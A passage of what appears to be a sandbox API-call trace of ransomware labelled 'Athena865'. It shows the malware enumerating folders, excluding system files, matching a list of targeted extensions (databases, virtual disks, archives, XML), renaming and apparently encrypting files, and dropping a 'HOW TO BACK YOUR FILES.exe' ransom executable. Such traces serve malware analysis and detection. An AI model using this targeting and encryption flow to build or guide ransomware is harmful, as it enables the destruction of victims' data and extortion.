CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0058.757] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x264700, lpName=0x0) returned 0x17c [0058.761] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x64700) returned 0x1f0000 [0058.784] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0058.891] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0058.914] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0058.915] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0058.915] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0058.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0058.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0058.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0058.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0058.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0058.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0058.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0058.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0058.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0058.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0058.916] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0058.920] CloseHandle (hObject=0x17c) returned 1 [0058.920] CloseHandle (hObject=0x154) returned 1 [0058.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0058.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0058.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0058.929] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".") returned 1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="..") returned 1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="windows") returned -1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="bootmgr") returned 1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="temp") returned -1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="pagefile.sys") returned -1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="boot") returned 1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="ids.txt") returned -1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="ntuser.dat") returned -1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="perflogs") returned -1 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="MSBuild") returned -1 [0058.929] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0058.929] lstrcpyW (in: lpString1=0x241e8c6, lpString2="GrooveMUI.xml" | out: lpString1="GrooveMUI.xml") returned="GrooveMUI.xml" [0058.929] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0058.929] lstrlenW (lpString="Athena865") returned 9 [0058.929] lstrcmpiW (lpString1="veMUI.xml", lpString2="Athena865") returned 1 [0058.929] lstrlenW (lpString=".dll") returned 4 [0058.929] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".dll") returned 1 [0058.929] lstrlenW (lpString=".lnk") returned 4 [0058.930] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".lnk") returned 1 [0058.930] lstrlenW (lpString=".ini") returned 4 [0058.930] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".ini") returned 1 [0058.930] lstrlenW (lpString=".sys") returned 4 [0058.930] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".sys") returned 1 [0058.930] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0058.930] lstrlenW (lpString="bak") returned 3 [0058.930] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0058.930] lstrlenW (lpString="ba_") returned 3 [0058.930] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0058.930] lstrlenW (lpString="dbb") returned 3 [0058.930] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0058.930] lstrlenW (lpString="vmdk") returned 4 [0058.930] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0058.930] lstrlenW (lpString="rar") returned 3 [0058.930] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0058.930] lstrlenW (lpString="zip") returned 3 [0058.930] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0058.930] lstrlenW (lpString="tgz") returned 3 [0058.930] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0058.930] lstrlenW (lpString="vbox") returned 4 [0058.930] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0058.930] lstrlenW (lpString="vdi") returned 3 [0058.930] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0058.930] lstrlenW (lpString="vhd") returned 3 [0058.930] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0058.930] lstrlenW (lpString="vhdx") returned 4 [0058.930] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0058.930] lstrlenW (lpString="avhd") returned 4 [0058.930] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0058.930] lstrlenW (lpString="db") returned 2 [0058.931] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0058.931] lstrlenW (lpString="db2") returned 3 [0058.931] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0058.931] lstrlenW (lpString="db3") returned 3 [0058.931] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0058.931] lstrlenW (lpString="dbf") returned 3 [0058.931] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0058.931] lstrlenW (lpString="mdf") returned 3 [0058.931] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0058.931] lstrlenW (lpString="mdb") returned 3 [0058.931] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0058.931] lstrlenW (lpString="sql") returned 3 [0058.931] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0058.931] lstrlenW (lpString="sqlite") returned 6 [0058.931] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0058.931] lstrlenW (lpString="sqlite3") returned 7 [0058.931] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0058.931] lstrlenW (lpString="sqlitedb") returned 8 [0058.931] lstrcmpiW (lpString1="eMUI.xml", lpString2="sqlitedb") returned -1 [0058.931] lstrlenW (lpString="xml") returned 3 [0058.931] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0058.931] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.Athena865") returned 86 [0058.931] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.athena865"), dwFlags=0x1) returned 1 [0058.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0058.932] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=913) returned 1 [0058.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0058.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0058.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0058.933] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0058.934] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0058.934] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0058.934] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x17c [0058.936] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000 [0058.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0058.969] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0058.969] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0058.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0058.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0058.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0058.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0058.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0058.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0058.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0058.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0058.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0058.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0058.970] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0058.970] CloseHandle (hObject=0x17c) returned 1 [0058.970] CloseHandle (hObject=0x154) returned 1 [0058.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0058.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0058.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0058.970] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd3b8d80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0058.971] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0058.971] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0058.971] lstrlenW (lpString="Setup.xml") returned 9 [0058.971] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0058.971] lstrlenW (lpString="Setup.xml") returned 9 [0058.971] lstrlenW (lpString="Athena865") returned 9 [0058.971] lstrlenW (lpString=".dll") returned 4 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0058.971] lstrlenW (lpString=".lnk") returned 4 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0058.971] lstrlenW (lpString=".ini") returned 4 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0058.971] lstrlenW (lpString=".sys") returned 4 [0058.971] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0058.971] lstrlenW (lpString="Setup.xml") returned 9 [0058.971] lstrlenW (lpString="bak") returned 3 [0058.971] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0058.971] lstrlenW (lpString="ba_") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0058.972] lstrlenW (lpString="dbb") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0058.972] lstrlenW (lpString="vmdk") returned 4 [0058.972] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0058.972] lstrlenW (lpString="rar") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0058.972] lstrlenW (lpString="zip") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0058.972] lstrlenW (lpString="tgz") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0058.972] lstrlenW (lpString="vbox") returned 4 [0058.972] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0058.972] lstrlenW (lpString="vdi") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0058.972] lstrlenW (lpString="vhd") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0058.972] lstrlenW (lpString="vhdx") returned 4 [0058.972] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0058.972] lstrlenW (lpString="avhd") returned 4 [0058.972] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0058.972] lstrlenW (lpString="db") returned 2 [0058.972] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0058.972] lstrlenW (lpString="db2") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0058.972] lstrlenW (lpString="db3") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0058.972] lstrlenW (lpString="dbf") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0058.972] lstrlenW (lpString="mdf") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0058.972] lstrlenW (lpString="mdb") returned 3 [0058.972] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0058.972] lstrlenW (lpString="sql") returned 3 [0058.973] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0058.973] lstrlenW (lpString="sqlite") returned 6 [0058.973] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0058.973] lstrlenW (lpString="sqlite3") returned 7 [0058.973] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0058.973] lstrlenW (lpString="sqlitedb") returned 8 [0058.973] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0058.973] lstrlenW (lpString="xml") returned 3 [0058.973] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0058.973] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0058.973] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0058.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0058.974] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1452) returned 1 [0058.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0058.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0058.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0058.974] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0058.975] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0058.975] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0058.975] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x17c [0058.977] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000 [0058.982] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0058.982] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0058.982] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0058.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0058.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0058.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0058.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0058.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0058.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0058.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0058.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0058.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0058.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0058.983] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0058.983] CloseHandle (hObject=0x17c) returned 1 [0058.983] CloseHandle (hObject=0x154) returned 1 [0058.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0058.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0058.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0058.984] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0058.984] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0058.984] ReleaseMutex (hMutex=0xec) returned 1 [0058.984] CloseHandle (hObject=0xec) returned 1 [0058.984] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" [0058.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0058.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f628 | out: hHeap=0x4f0000) returned 1 [0058.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned 62 [0058.984] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\15AF44A966A9E574A5C5A539F30A04EF") returned 0xec [0058.984] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0058.984] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" [0058.984] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0058.984] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0058.985] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0058.985] GetLastError () returned 0x0 [0058.985] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0058.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0058.985] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0058.986] CloseHandle (hObject=0xf4) returned 1 [0058.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0058.986] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0058.986] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3b8d80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0058.986] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.986] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0058.986] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.986] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: 